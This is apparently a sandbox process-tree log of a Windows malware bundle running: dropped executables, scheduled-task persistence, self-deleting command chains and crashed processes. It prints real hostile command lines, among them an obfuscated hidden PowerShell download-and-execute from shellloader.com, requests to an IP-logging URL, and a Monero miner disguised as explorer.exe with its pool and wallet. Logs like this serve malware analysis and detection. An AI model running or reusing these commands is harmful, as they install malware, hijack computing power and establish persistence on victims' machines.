        schtasks /run /I /tn "gMlAecdJH"
        11⤵
        
        PID:3684
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gMlAecdJH"
        11⤵
        
        PID:3980
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bRciptYQhTCMvEFWGJ" /SC once /ST 06:50:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\TkNUdlt.exe\" W8 /site_id 668658 /S" /V1 /F
        11⤵
        Creates scheduled task(s)
        
        PID:8512
        
        C:\Users\Admin\Documents\w6EC3GK1E8CjthCP8z2WpMkF.exe
        
        "C:\Users\Admin\Documents\w6EC3GK1E8CjthCP8z2WpMkF.exe" /mixtwo
        8⤵
        
        PID:4168
        
        C:\Users\Admin\Documents\_wYu3FEqfsfbj8kNKtLM1ONj.exe
        
        "C:\Users\Admin\Documents\_wYu3FEqfsfbj8kNKtLM1ONj.exe"
        8⤵
        
        PID:4328
        
        C:\Users\Admin\Documents\mWiG0Sx1QXSeHUiH2uwo9old.exe
        
        "C:\Users\Admin\Documents\mWiG0Sx1QXSeHUiH2uwo9old.exe"
        8⤵
        
        PID:7412
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:7656
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:6788
      - C:\Users\Admin\Documents\hX4efHFVWUc3N1yWoK6YiuNf.exe
        
        "C:\Users\Admin\Documents\hX4efHFVWUc3N1yWoK6YiuNf.exe"
        6⤵
        
        PID:3512
        
        C:\Users\Admin\Documents\hX4efHFVWUc3N1yWoK6YiuNf.exe
        
        "C:\Users\Admin\Documents\hX4efHFVWUc3N1yWoK6YiuNf.exe"
        7⤵
        
        PID:5904
      - C:\Users\Admin\Documents\o6lKYC6UTOkqqKH85aEfzFz4.exe
        
        "C:\Users\Admin\Documents\o6lKYC6UTOkqqKH85aEfzFz4.exe"
        6⤵
        
        PID:5228
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im o6lKYC6UTOkqqKH85aEfzFz4.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\o6lKYC6UTOkqqKH85aEfzFz4.exe" & del C:\ProgramData\*.dll & exit
        7⤵
        
        PID:4156
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im o6lKYC6UTOkqqKH85aEfzFz4.exe /f
        8⤵
        Kills process with taskkill
        
        PID:5212
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
        Delays execution with timeout.exe
        
        PID:9032
      - C:\Users\Admin\Documents\ksWcdY6HawY36e_I7DQ_8pOu.exe
        
        "C:\Users\Admin\Documents\ksWcdY6HawY36e_I7DQ_8pOu.exe"
        6⤵
        
        PID:5292
      - C:\Users\Admin\Documents\z9QWVn9WCtYaNY8OtkfI8ITA.exe
        
        "C:\Users\Admin\Documents\z9QWVn9WCtYaNY8OtkfI8ITA.exe"
        6⤵
        
        PID:5504
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\z9QWVn9WCtYaNY8OtkfI8ITA.exe"
        7⤵
        
        PID:7216
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 10 /NOBREAK
        8⤵
        Delays execution with timeout.exe
        
        PID:7044
      - C:\Users\Admin\Documents\5WYGzmHLj1l7jfbpVAdSVRBI.exe
        
        "C:\Users\Admin\Documents\5WYGzmHLj1l7jfbpVAdSVRBI.exe"
        6⤵
        
        PID:5568
      - C:\Users\Admin\Documents\VnT9oiIVDA_jzHBnMscZjOVz.exe
        
        "C:\Users\Admin\Documents\VnT9oiIVDA_jzHBnMscZjOVz.exe"
        6⤵
        
        PID:5536
      - C:\Users\Admin\Documents\ql3xgHcXYKiunG5VKIF6Xavg.exe
        
        "C:\Users\Admin\Documents\ql3xgHcXYKiunG5VKIF6Xavg.exe"
        6⤵
        
        PID:5708
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c start "" "f.exe" & start "" "wwi.exe" & start "" "wwl.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
        7⤵
        
        PID:5908
        
        C:\Users\Admin\AppData\Local\Temp\f.exe
        
        "f.exe"
        8⤵
        
        PID:5196
        
        C:\Users\Admin\AppData\Local\237843444.exe
        
        "C:\Users\Admin\AppData\Local\237843444.exe"
        9⤵
        
        PID:6984
        
        C:\Users\Admin\AppData\Local\Temp\wwi.exe
        
        "wwi.exe"
        8⤵
        
        PID:5860
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
        8⤵
        
        PID:4868
        
        C:\Users\Admin\AppData\Local\Temp\wwl.exe
        
        "wwl.exe"
        8⤵
        
        PID:4984
      - C:\Users\Admin\Documents\39VqGFFpNkaihAIuFhKWIYZ5.exe
        
        "C:\Users\Admin\Documents\39VqGFFpNkaihAIuFhKWIYZ5.exe"
        6⤵
        
        PID:6136
        
        C:\Users\Admin\Documents\39VqGFFpNkaihAIuFhKWIYZ5.exe
        
        C:\Users\Admin\Documents\39VqGFFpNkaihAIuFhKWIYZ5.exe
        7⤵
        
        PID:5036
      - C:\Users\Admin\Documents\li5avrQuWHpy6E8BxZMUJkR2.exe
        
        "C:\Users\Admin\Documents\li5avrQuWHpy6E8BxZMUJkR2.exe"
        6⤵
        
        PID:5596
      - C:\Users\Admin\Documents\JMPHwuLwmK26DrRt1yLUwKah.exe
        
        "C:\Users\Admin\Documents\JMPHwuLwmK26DrRt1yLUwKah.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2812
      - C:\Users\Admin\Documents\LxlFuwvdWXSWkbuDZKcQTLcA.exe
        
        "C:\Users\Admin\Documents\LxlFuwvdWXSWkbuDZKcQTLcA.exe"
        6⤵
        
        PID:5988
        
        C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
        
        "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
        7⤵
        
        PID:6712
        
        C:\Program Files (x86)\Company\NewProduct\inst001.exe
        
        "C:\Program Files (x86)\Company\NewProduct\inst001.exe"
        7⤵
        
        PID:7280
        
        C:\Program Files (x86)\Company\NewProduct\cm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cm3.exe"
        7⤵
        
        PID:7236
      - C:\Users\Admin\Documents\ihcFzlzf3LuP0u01uHhblbsL.exe
        
        "C:\Users\Admin\Documents\ihcFzlzf3LuP0u01uHhblbsL.exe"
        6⤵
        
        PID:344
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "ihcFzlzf3LuP0u01uHhblbsL.exe" /f & erase "C:\Users\Admin\Documents\ihcFzlzf3LuP0u01uHhblbsL.exe" & exit
        7⤵
        
        PID:7628
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "ihcFzlzf3LuP0u01uHhblbsL.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:8008
      - C:\Users\Admin\Documents\t49n4_NbmzdIZQvB5FUiZwlO.exe
        
        "C:\Users\Admin\Documents\t49n4_NbmzdIZQvB5FUiZwlO.exe"
        6⤵
        
        PID:4408
      - C:\Users\Admin\Documents\tzJaGsoxyoqNl72kV13szst3.exe
        
        "C:\Users\Admin\Documents\tzJaGsoxyoqNl72kV13szst3.exe"
        6⤵
        
        PID:6828
        
        C:\Users\Admin\AppData\Roaming\6459603.scr
        
        "C:\Users\Admin\AppData\Roaming\6459603.scr" /S
        7⤵
        
        PID:6092
        
        C:\Users\Admin\AppData\Roaming\5893856.scr
        
        "C:\Users\Admin\AppData\Roaming\5893856.scr" /S
        7⤵
        
        PID:7156
        
        C:\Users\Admin\AppData\Roaming\3416962.scr
        
        "C:\Users\Admin\AppData\Roaming\3416962.scr" /S
        7⤵
        
        PID:4116
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun193fda712d9f1.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3744
    - - C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun193fda712d9f1.exe
        
        Sun193fda712d9f1.exe
        5⤵
        Executes dropped EXE
        
        PID:3936
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1908b94df837b3158.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1412
    - - C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun1908b94df837b3158.exe
        
        Sun1908b94df837b3158.exe
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:3788
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19de8ff4b6aefeb8.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2304
    - - C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun19de8ff4b6aefeb8.exe
        
        Sun19de8ff4b6aefeb8.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:2356
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 656
        6⤵
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:5096
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 672
        6⤵
        Program crash
        
        PID:5388
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 632
        6⤵
        Program crash
        
        PID:5924
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 640
        6⤵
        Program crash
        
        PID:2952
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19e4ade31b2a.exe
      4⤵
      PID:2812
    - - C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun19e4ade31b2a.exe
        
        Sun19e4ade31b2a.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2836
      - C:\Users\Admin\AppData\Roaming\2036975.scr
        
        "C:\Users\Admin\AppData\Roaming\2036975.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4596
      - C:\Users\Admin\AppData\Roaming\8790423.scr
        
        "C:\Users\Admin\AppData\Roaming\8790423.scr" /S
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4924
      - C:\Users\Admin\AppData\Roaming\4750799.scr
        
        "C:\Users\Admin\AppData\Roaming\4750799.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:4988
        
        C:\Users\Admin\AppData\Roaming\4750799.scr
        
        "C:\Users\Admin\AppData\Roaming\4750799.scr"
        7⤵
        Executes dropped EXE
        
        PID:4208
        
        C:\Users\Admin\AppData\Roaming\4750799.scr
        
        "C:\Users\Admin\AppData\Roaming\4750799.scr"
        7⤵
        
        PID:4048
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4988 -s 900
        7⤵
        Program crash
        
        PID:4256
      - C:\Users\Admin\AppData\Roaming\3224689.scr
        
        "C:\Users\Admin\AppData\Roaming\3224689.scr" /S
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2824
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1905815e51282417.exe
      4⤵
      PID:3088
    - - C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun1905815e51282417.exe
        
        Sun1905815e51282417.exe
        5⤵
        Executes dropped EXE
        
        PID:1764
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1966fb31dd5a07.exe
      4⤵
      PID:4044
    - - C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun1966fb31dd5a07.exe
        
        Sun1966fb31dd5a07.exe
        5⤵
        Executes dropped EXE
        
        PID:4144
      - C:\Users\Admin\AppData\Local\Temp\is-B1J0H.tmp\Sun1966fb31dd5a07.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-B1J0H.tmp\Sun1966fb31dd5a07.tmp" /SL5="$40070,247014,163328,C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun1966fb31dd5a07.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4240
        
        C:\Users\Admin\AppData\Local\Temp\is-C2EP3.tmp\Ze2ro.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-C2EP3.tmp\Ze2ro.exe" /S /UID=burnerch2
        7⤵
        Executes dropped EXE
        
        PID:4696
        
        C:\Program Files\Google\HJTMLTCTOE\ultramediaburner.exe
        
        "C:\Program Files\Google\HJTMLTCTOE\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:7820
        
        C:\Users\Admin\AppData\Local\Temp\is-D99BD.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-D99BD.tmp\ultramediaburner.tmp" /SL5="$5007E,281924,62464,C:\Program Files\Google\HJTMLTCTOE\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:7696
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        
        PID:612
        
        C:\Users\Admin\AppData\Local\Temp\50-d8951-3e2-7d9ba-47a0072e73b83\Faerepowytae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\50-d8951-3e2-7d9ba-47a0072e73b83\Faerepowytae.exe"
        8⤵
        
        PID:1204
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 2256
        9⤵
        
        PID:3568
        
        C:\Users\Admin\AppData\Local\Temp\32-46eef-9cf-264b0-eb9f71db6ca2d\Lutezhehisha.exe
        
        "C:\Users\Admin\AppData\Local\Temp\32-46eef-9cf-264b0-eb9f71db6ca2d\Lutezhehisha.exe"
        8⤵
        
        PID:4476
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zxndfv3a.llk\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:5328
        
        C:\Users\Admin\AppData\Local\Temp\zxndfv3a.llk\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\zxndfv3a.llk\GcleanerEU.exe /eufive
        10⤵
        
        PID:7556
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\murahgun.ram\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:7572
        
        C:\Users\Admin\AppData\Local\Temp\murahgun.ram\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\murahgun.ram\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:2328
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\murahgun.ram\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\murahgun.ram\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1632120084 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        11⤵
        
        PID:5640
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\00a5qqpt.kon\anyname.exe & exit
        9⤵
        
        PID:6424
        
        C:\Users\Admin\AppData\Local\Temp\00a5qqpt.kon\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\00a5qqpt.kon\anyname.exe
        10⤵
        
        PID:6016
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wczxztrw.fu1\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:2324
        
        C:\Users\Admin\AppData\Local\Temp\wczxztrw.fu1\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\wczxztrw.fu1\gcleaner.exe /mixfive
        10⤵
        
        PID:7600
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun195a1614ec24e6a.exe
      4⤵
      PID:856
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun198361825f4.exe
      4⤵
      PID:2284
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19eb40faaaa9.exe
      4⤵
      PID:2260
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun191101c1aaa.exe
      4⤵
      PID:1008
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19262b9e49ad.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:776

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun19eb40faaaa9.exe
Sun19eb40faaaa9.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:672
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /im Sun19eb40faaaa9.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun19eb40faaaa9.exe" & del C:\ProgramData\*.dll & exit
  2⤵
  PID:6976
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im Sun19eb40faaaa9.exe /f
    3⤵
    - Kills process with taskkill
    PID:4720
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 6
    3⤵
    - Delays execution with timeout.exe
    PID:7932

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun195a1614ec24e6a.exe
Sun195a1614ec24e6a.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2856

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun198361825f4.exe
Sun198361825f4.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:424
- C:\Users\Admin\AppData\Local\Temp\tmp4377_tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\tmp4377_tmp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1296
- - C:\Users\Admin\AppData\Local\Temp\tmp4377_tmp.exe
    C:\Users\Admin\AppData\Local\Temp\tmp4377_tmp.exe
    3⤵
    - Executes dropped EXE
    PID:4900

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun191101c1aaa.exe
Sun191101c1aaa.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3912
- C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
  2⤵
  - Executes dropped EXE
  PID:4652
- - C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
    "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
    3⤵
    - Executes dropped EXE
    PID:3592
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
      4⤵
      PID:7044
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:6212
  - - C:\Users\Admin\AppData\Roaming\services64.exe
      "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      PID:7732
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        5⤵
        
        PID:6828
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:3180
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        5⤵
        
        PID:4188
    - - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        5⤵
        
        PID:8776
- - C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
    "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2956
  - - C:\ProgramData\5973142.exe
      "C:\ProgramData\5973142.exe"
      4⤵
      PID:908
  - - C:\ProgramData\5801489.exe
      "C:\ProgramData\5801489.exe"
      4⤵
      PID:5456
  - - C:\ProgramData\7014739.exe
      "C:\ProgramData\7014739.exe"
      4⤵
      PID:5552
    - - C:\ProgramData\7014739.exe
        
        "C:\ProgramData\7014739.exe"
        5⤵
        
        PID:6084
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5552 -s 892
        5⤵
        Program crash
        
        PID:5300
  - - C:\ProgramData\8366647.exe
      "C:\ProgramData\8366647.exe"
      4⤵
      PID:6072
- - C:\Users\Admin\AppData\Local\Temp\2.exe
    "C:\Users\Admin\AppData\Local\Temp\2.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4576
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4576 -s 1528
      4⤵
      Program crash
      PID:4088
- - C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    3⤵
    - Executes dropped EXE
    PID:4780
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 1004
      4⤵
      Program crash
      PID:6052
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 988
      4⤵
      Program crash
      PID:2844
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 852
      4⤵
      Program crash
      PID:6336
- - C:\Users\Admin\AppData\Local\Temp\udptest.exe
    "C:\Users\Admin\AppData\Local\Temp\udptest.exe"
    3⤵
    - Executes dropped EXE
    PID:2388
- - C:\Users\Admin\AppData\Local\Temp\5.exe
    "C:\Users\Admin\AppData\Local\Temp\5.exe"
    3⤵
    - Executes dropped EXE
    PID:2372
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2372 -s 1528
      4⤵
      Program crash
      PID:6520
- - C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe
    "C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe"
    3⤵
    PID:5180
  - - C:\Users\Admin\AppData\Local\Temp\tmpE725_tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\tmpE725_tmp.exe"
      4⤵
      PID:5368
    - - C:\Users\Admin\AppData\Local\Temp\tmpE725_tmp.exe
        
        C:\Users\Admin\AppData\Local\Temp\tmpE725_tmp.exe
        5⤵
        
        PID:5128
- - C:\Users\Admin\AppData\Local\Temp\setup_2.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
    3⤵
    PID:5980
  - - C:\Users\Admin\AppData\Local\Temp\is-7CFSU.tmp\setup_2.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-7CFSU.tmp\setup_2.tmp" /SL5="$20292,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
      4⤵
      PID:4588
    - - C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        5⤵
        
        PID:7484
      - C:\Users\Admin\AppData\Local\Temp\is-CI3FS.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-CI3FS.tmp\setup_2.tmp" /SL5="$20308,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        6⤵
        
        PID:7556
        
        C:\Users\Admin\AppData\Local\Temp\is-U5NKN.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-U5NKN.tmp\postback.exe" ss1
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1824
        
        C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe ss1
        8⤵
        
        PID:4884
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
        9⤵
        
        PID:8736
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
        10⤵
        
        PID:8872
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\QICnPTwh8.dll"
        9⤵
        
        PID:3140
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\QICnPTwh8.dll"
        10⤵
        
        PID:8712
        
        C:\Windows\system32\regsvr32.exe
        
        /s "C:\Users\Admin\AppData\Local\Temp\QICnPTwh8.dll"
        11⤵
        
        PID:8800
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\QICnPTwh8.dllmwq1U69L8.dll"
        9⤵
        
        PID:8676
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\QICnPTwh8.dllmwq1U69L8.dll"
        10⤵
        
        PID:4616
        
        C:\Windows\system32\regsvr32.exe
        
        /s "C:\Users\Admin\AppData\Local\Temp\QICnPTwh8.dllmwq1U69L8.dll"
        11⤵
        
        PID:5984
- - C:\Users\Admin\AppData\Local\Temp\3002.exe
    "C:\Users\Admin\AppData\Local\Temp\3002.exe"
    3⤵
    PID:4116
  - - C:\Users\Admin\AppData\Local\Temp\3002.exe
      "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
      4⤵
      PID:1904
- - C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
    "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
    3⤵
    PID:6596
- - C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
    "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
    3⤵
    PID:6224

C:\Users\Admin\AppData\Local\Temp\7zS0DFBD312\Sun19262b9e49ad.exe
Sun19262b9e49ad.exe
1⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:3880
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im chrome.exe
  2⤵
  PID:4564
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:4492

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6896
- C:\Windows\SysWOW64\rundll32.exe
